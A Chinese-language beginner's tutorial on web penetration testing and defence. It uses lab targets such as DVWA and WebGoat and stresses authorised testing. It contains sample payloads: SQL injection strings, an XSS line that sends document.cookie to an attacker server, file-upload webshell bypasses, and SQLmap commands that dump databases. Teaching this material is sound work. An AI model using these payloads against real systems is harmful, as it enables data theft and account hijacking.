1. 先搞清楚Web安全到底要解决什么问题
Web安全不是单纯学几个工具或者背几个漏洞名称,它解决的是真实业务里“数据会不会被偷、服务会不会被停、用户会不会被骗”的问题。很多人一上来就扎进SQL注入、XSS这些具体技术点,结果学完还是不知道该怎么落地。更实际的做法是,先理解攻击者视角:他们为什么要攻击你的网站?通常就三个目的——拿数据(拖库)、搞破坏(删库、挂马)、骗用户(钓鱼、跳反诈页面)。
如果你刚接触Web安全,不用急着追所有新技术。先把基础攻击链理清楚:信息收集→漏洞探测→漏洞利用→权限提升→内网渗透→痕迹清理。Web安全主要集中在前三步,也就是怎么找到网站弱点、怎么利用弱点拿到控制权。我一般建议新手从“能看懂攻击流量”开始,而不是直接上手工具扫描——工具用错了会被封IP,而且完全不知道问题出在哪。
学Web安全最怕的就是“理论一堆,实战不会”。下面我会按真实渗透测试流程拆解每个环节要掌握什么、怎么练、到哪里找靶场,以及新手最常踩的坑。
2. 环境准备:别在真实网站练手,用这些靶场更安全
新手最大的误区就是拿真实网站练手,这是绝对要避免的。轻则IP被封,重则面临法律风险。正确的做法是本地搭建漏洞环境或使用公开靶场。这里我按难度推荐三个必练的靶场:
2.1 DVWA(Damn Vulnerable Web Application)
这是最经典的新手靶场,用PHP写的,故意留了10种常见漏洞。我建议第一次配置时重点看两点:
- PHP版本要用5.4-7.0之间,太高或太低都可能跑不起来
- 数据库初始化后,记得在首页点"Create/Reset Database"重置数据
DVWA的好处是能调节难度等级(Low/Medium/High/Impossible)。比如SQL注入在Low级别下直接拼接参数就能注出密码,但到High级别就要用堆叠查询或绕过WAF。这种梯度设计能让你直观感受防御手段怎么升级。
2.2 WebGoat
OWASP官方出的Java靶场,漏洞场景更接近真实业务。安装时要注意:
- 需要Java 8环境,新版Java可能兼容有问题
- 启动后访问http://localhost:8080/WebGoat,默认账号webgoat/webgoat
它的课程模式很棒,每关会给你明确目标(比如绕过验证码、窃取Cookie),完成后有验证机制。特别适合培养“以结果为导向”的渗透思维——不是单纯爆漏洞,而要拿到具体数据或权限。
2.3 bwapp
另一个PHP靶场,特色是漏洞类型全(超过100种)。安装时和DVWA类似,但要注意它的部分漏洞需要特定PHP模块支持,如果页面报错可以查php.ini配置。
重要提醒:这些靶场都要放在隔离环境(虚拟机或Docker里),不要暴露到公网。我见过有人把DVWA部署在云服务器上结果被黑掉整台机器——靶场本身也有漏洞!
3. 核心攻击手法拆解:从注入到逻辑漏洞
Web漏洞看起来五花八门,但核心思路就几种。下面按实际攻击频率排序,带你走通完整攻击链。
3.1 信息收集:攻击的第一步决定了成功率
很多人直接拿扫描器扫目录,其实更高效的是先手工收集:
- 用Whois查域名注册信息,有时能发现管理员邮箱(可能是社工突破口)
- 用
nslookup查DNS记录,看有没有隐藏子域名(测试环境常泄露数据) - 看页面源码里的JS文件路径,可能暴露框架版本(比如
/static/jquery-1.8.3.min.js) - 用浏览器开发者工具看Network请求,找API接口和参数格式
举个例子:某网站登录页源码里发现<!-- test account: test/123456 -->这种注释,就是典型的信息泄露。这种低級错误在中小网站很常见。
3.2 SQL注入:依然最危险的漏洞
为什么SQL注入这么多年还是高危?因为一旦成功就能直接拖库。新手要注意两种场景:
数字型注入:参数没引号包裹,如id=1变成id=1 or 1=1
- 探测方式:依次尝试
id=1+1、id=1-1,如果页面变化说明可能可注入 - 利用步骤:用
union select爆库名→表名→字段名,例如:
id=-1 union select 1,database(),3,4字符型注入:参数有引号,如name='admin'要闭合引号
- 探测方式:输入
'看是否报错,输入' and '1'='1看页面是否正常 - 绕过技巧:遇到过滤时可以用十六进制编码(
0x61646D696E代替admin)或注释符(/*!*/)
实际攻击中,我更推荐用SQLmap工具自动化检测,但前提是你得懂手动注入原理——否则工具跑出结果你都看不懂是什么漏洞。
3.3 XSS:前端的攻击利器
XSS的核心不是弹个alert框就完了,而是要窃取用户Cookie或发起钓鱼。分三种类型:
反射型XSS:漏洞参数在URL里,需要诱骗用户点击
- 测试Payload:
<script>alert(1)</script>是最基础的,但实际中更要用:
<img src=x onerror="fetch('http://攻击者服务器/steal?cookie='+document.cookie)">存储型XSS:Payload存在数据库里,所有访问者都会中招
- 常见场景:留言板、昵称、文章评论
- 危害更大,因为不需要诱骗点击
DOM型XSS:纯前端漏洞,Payload不经过服务端
- 检测方式:在输入框输入
#<script>alert(1)</script>看是否执行 - 现代前端框架(Vue/React)很少出现,但老项目或原生JS项目仍有风险
实战中,XSS常配合CSRF一起用:用XSS拿到用户权限,然后用CSRF模拟用户操作(比如转账、改密码)。
3.4 文件上传漏洞:getshell的捷径
这是最容易直接拿到服务器权限的漏洞。关键点是判断服务器怎么检测文件类型:
- 只检查后缀名:把
shell.php改成shell.jpg.php可能绕过 - 检查Content-Type:用BurpSuite改包,把
image/jpeg赋给php文件 - 检查文件头:在PHP文件开头添加GIF文件头
GIF89a<?php phpinfo();?> - 解析漏洞:IIS6.0下
shell.jpg;.php会被当作PHP执行
上传后要找文件路径,常见方法:
- 扫目录工具发现上传目录
- 查看页面源码里图片的路径规律
- 用报错信息泄露绝对路径
重要提醒:拿到webshell后不要急着提权,先确认是不是在Docker容器里——很多靶场用容器隔离,你提权也出不去。
3.5 业务逻辑漏洞:扫描器发现不了的弱点
这是最容易被忽视但危害极大的漏洞。常见场景:
越权访问:
- 水平越权:改用户ID参数访问他人数据,如
/user.php?id=10086改成id=10087 - 垂直越权:普通用户访问管理员功能,如直接输入
/admin/delete_user.php
密码重置漏洞:
- 验证码爆破:4位数字验证码用BurpSuite Intruder跑一万次就能破解
- 邮箱参数篡改:把
email=用户邮箱改成email=攻击者邮箱接收重置链接
支付漏洞:
- 修改价格参数:前端校验但服务端没校验,把
price=100改成price=0.01 - 重复提交订单:快速点击支付按钮可能扣一次钱生成多个订单
逻辑漏洞要靠手工测试,没有通用工具。我习惯用BurpSuite的Repeater模块反复修改参数,观察响应变化。
4. 防御手段:知其攻更要知其防
只会攻击不懂防御就是“脚本小子”。每个漏洞都要知道怎么修:
4.1 SQL注入防御
- 预编译语句(PDO/MyBatis):根本解决方式,参数化查询
- 最小权限原则:数据库账号不要用root,只给必要权限
- WAF辅助防护:但不要依赖WAF,它可能被绕过
4.2 XSS防御
- 输入过滤:根据场景用HTML实体编码(
<变成<) - 输出编码:前端用
textContent而不是innerHTML - CSP策略:HTTP头设置
Content-Security-Policy限制JS执行
4.3 文件上传防御
- 白名单校验:只允许特定后缀(jpg,png,pdf)
- 重命名文件:存储时用随机文件名,避免解析漏洞
- 隔离存储:上传文件放到无法直接访问的目录,通过后端程序读取
4.4 业务逻辑漏洞防御
- 权限校验统一入口:不要每个页面单独校验
- 关键操作二次确认:删除、支付等操作需要验证码或密码
- 服务端校验全覆盖:前端校验只是用户体验,服务端必须校验
防御代码示例(PHP防SQL注入):
// 错误做法 $sql = "SELECT * FROM users WHERE id = " . $_GET['id']; // 正确做法:预编译 $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]);5. 工具链配置:新手用这些就够了
工具不在多,在于熟练。新手期重点掌握四个:
5.1 BurpSuite - 抓包改包神器
社区版就够用,配置关键点:
- 浏览器设置代理127.0.0.1:8080
- 安装Burp证书才能抓HTTPS包
- Repeater用于重放请求,Intruder用于爆破,Scanner用于自动扫描
5.2 Nmap - 端口扫描必备
不要只会nmap -A 目标IP,这样噪音太大。分阶段扫描:
# 先快速扫常见端口 nmap -F 192.168.1.1 # 发现开放端口后详细探测 nmap -sV -sC -p 80,443,22 192.168.1.1 # 规避防火墙检测(慢速扫描) nmap -T1 -sS 192.168.1.15.3 SQLmap - 自动化SQL注入
基本用法:
# 检测注入点 sqlmap -u "http://靶场/page.php?id=1" # 爆数据库名 sqlmap -u "http://靶场/page.php?id=1" --dbs # 爆指定表数据 sqlmap -u "http://靶场/page.php?id=1" -D 数据库名 -T 表名 --dump注意:SQLmap功能强大但攻击性也强,一定要在靶场里用。它的--level和--risk参数可以控制检测强度。
5.4 浏览器开发者工具 - 最被低估的工具
F12打开后重点看:
- Console:JS报错可能泄露路径信息
- Network:观察API请求规律,找未授权接口
- Application:看Cookie、LocalStorage里存了什么敏感数据
- Sources:JS源码中找硬编码的API密钥
6. 实战演练路线:从靶场到真实漏洞挖掘
学完理论后,按这个顺序实战:
6.1 第一阶段:靶场通关
- DVWA全部漏洞通关(10个漏洞)
- WebGoat完成OWASP TOP 10相关课程
- bwapp挑20个不同类型的漏洞练手
要求不是简单利用漏洞,而要理解:
- 漏洞产生原因(代码层面)
- 利用条件(需要什么参数、什么权限)
- 修复方案(怎么改代码)
6.2 第二阶段:漏洞平台练手
在合法平台找真实漏洞:
- 教育机构/.gov.cn网站(需获得授权)
- 开源项目GitHub Issues里报安全漏洞
- 众测平台(如漏洞盒子、补天)的公益项目
重要:未经授权不要测试任何商业网站。挖漏洞前先看平台规则,有些漏洞(如扫码关注类)不算安全漏洞。
6.3 第三阶段:参与CTF比赛
CTF(Capture The Flag)能快速提升实战能力。Web题常见考点:
- 代码审计:给一段源码找漏洞
- 黑盒测试:只给一个URL,要自己找入口点
- 混淆绕过:代码被混淆或加密,要逆向分析
推荐新手从i春秋、CTFhub的入门赛开始,不要一上来就打国际赛。
7. 常见误区与进阶方向
我见过太多人在这些地方踩坑:
7.1 工具依赖症
拿到目标就挂扫描器,扫完看报告了事。结果是:
- 漏掉逻辑漏洞(扫描器发现不了)
- 被WAF封IP
- 完全不懂漏洞原理
正确做法:手工测试为主,扫描器辅助验证。
7.2 忽视漏洞修复
挖漏洞不是为了炫耀,而是要帮助修复。提交漏洞报告时要包括:
- 漏洞详细描述(步骤、截图)
- 危害分析(能造成什么损失)
- 修复建议(具体代码修改方案)
7.3 法律风险意识不足
Web安全是双刃剑,务必遵守:
- 只在授权范围内测试
- 不破坏数据、不拖库
- 发现漏洞及时报告,不恶意利用
7.4 进阶学习方向
掌握基础后,可以深入:
- 代码审计:白盒找漏洞,需要懂开发
- 内网渗透:Web漏洞只是入口,内网横向移动更复杂
- 安全开发:从源头避免漏洞,需要懂SDLC
- 威胁建模:业务上线前预测可能攻击点
Web安全真正的价值不是会多少攻击技巧,而是能帮业务规避风险。我建议新手先把OWASP TOP 10的漏洞原理和防御搞透,再考虑 specialize 某个方向。这个领域更新快,但基础原理变化不大——十年前SQL注入怎么防,今天依然适用。